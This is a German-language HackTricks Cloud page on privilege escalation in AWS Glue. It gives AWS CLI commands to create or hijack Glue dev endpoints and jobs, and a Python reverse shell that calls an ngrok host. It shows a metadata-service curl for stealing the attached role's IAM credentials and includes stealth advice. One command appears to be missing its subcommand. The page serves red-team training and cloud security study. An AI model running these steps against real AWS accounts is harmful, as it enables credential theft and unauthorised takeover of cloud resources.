AWS - Glue Privesc
Reading time: 4 minutes
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
glue
iam:PassRole, glue:CreateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)
Benutzer mit diesen Berechtigungen können einen neuen AWS Glue Development Endpoint einrichten, eine vorhandene Service-Rolle, die von Glue übernommen werden kann, diesem Endpoint zuweisen und diesem Endpoint spezifische Berechtigungen geben.
Nach der Einrichtung kann der Angreifer per SSH auf die Instanz des Endpoints zugreifen und die IAM-Zugangsdaten der zugewiesenen Rolle stehlen:
# Create endpoint
aws glue create-dev-endpoint --endpoint-name <endpoint-name> \
--role-arn <arn-role> \
--public-key file:///ssh/key.pub
# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest
# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
Aus Tarnungsgründen wird empfohlen, die IAM-Zugangsdaten von innerhalb der Glue-VM zu verwenden.
Potential Impact: Privesc auf die angegebene glue-Service-Rolle.
glue:UpdateDevEndpoint, (glue:GetDevEndpoint | glue:GetDevEndpoints)
Benutzer mit dieser Berechtigung können einen bestehenden Glue-Entwicklungsendpunkt ändern und dessen SSH-Schlüssel setzen, um SSH-Zugriff darauf zu ermöglichen. Dadurch kann ein Angreifer Befehle mit den Rechten der an den Endpunkt angehängten Rolle ausführen:
# Change public key to connect
aws glue --endpoint-name target_endpoint \
--public-key file:///ssh/key.pub
# Get the public address of the instance
## You could also use get-dev-endpoints
aws glue get-dev-endpoint --endpoint-name privesctest
# SSH with the glue user
ssh -i /tmp/private.key ec2-54-72-118-58.eu-west-1.compute.amazonaws.com
Mögliche Auswirkungen: Privesc auf die verwendete glue service role.
iam:PassRole, (glue:CreateJob | glue:UpdateJob), (glue:StartJobRun | glue:CreateTrigger)
Benutzer mit iam:PassRole in Kombination mit entweder glue:CreateJob oder glue:UpdateJob, und entweder glue:StartJobRun oder glue:CreateTrigger können einen AWS Glue job erstellen oder aktualisieren, ein beliebiges Glue service account anhängen und die Ausführung des Jobs starten. Der Job kann beliebigen Python-Code ausführen, was ausgenutzt werden kann, um eine reverse shell aufzubauen. Diese reverse shell kann dann genutzt werden, um die IAM credentials der an den Glue-Job angehängten Rolle zu exfiltrate, was zu potenziellem unautorisiertem Zugriff oder Aktionen basierend auf den Berechtigungen dieser Rolle führen kann:
# Content of the python script saved in s3:
#import socket,subprocess,os
#s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
#s.connect(("2.tcp.ngrok.io",11216))
#os.dup2(s.fileno(),0)
#os.dup2(s.fileno(),1)
#os.dup2(s.fileno(),2)
#p=subprocess.call(["/bin/sh","-i"])
#To get the IAM Role creds run: curl http://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
# A Glue role with admin access was created
aws glue create-job \
--name privesctest \
--role arn:aws:iam::93424712358:role/GlueAdmin \
--command '{"Name":"pythonshell", "PythonVersion": "3", "ScriptLocation":"s3://airflow2123/rev.py"}'
# You can directly start the job
aws glue start-job-run --job-name privesctest
# Or you can create a trigger to start it
aws glue create-trigger --name triggerprivesc --type SCHEDULED \
--actions '[{"JobName": "privesctest"}]' --start-on-creation \
--schedule "0/5 * * * * *" #Every 5mins, feel free to change
Mögliche Auswirkung: Privesc auf die angegebene glue-Service-Rolle.
glue:UpdateJob
Allein mit der Update-Berechtigung könnte ein Angreifer die IAM-Anmeldeinformationen der bereits angehängten Rolle stehlen.
Mögliche Auswirkung: Privesc auf die angehängte glue-Service-Rolle.
Referenzen
tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud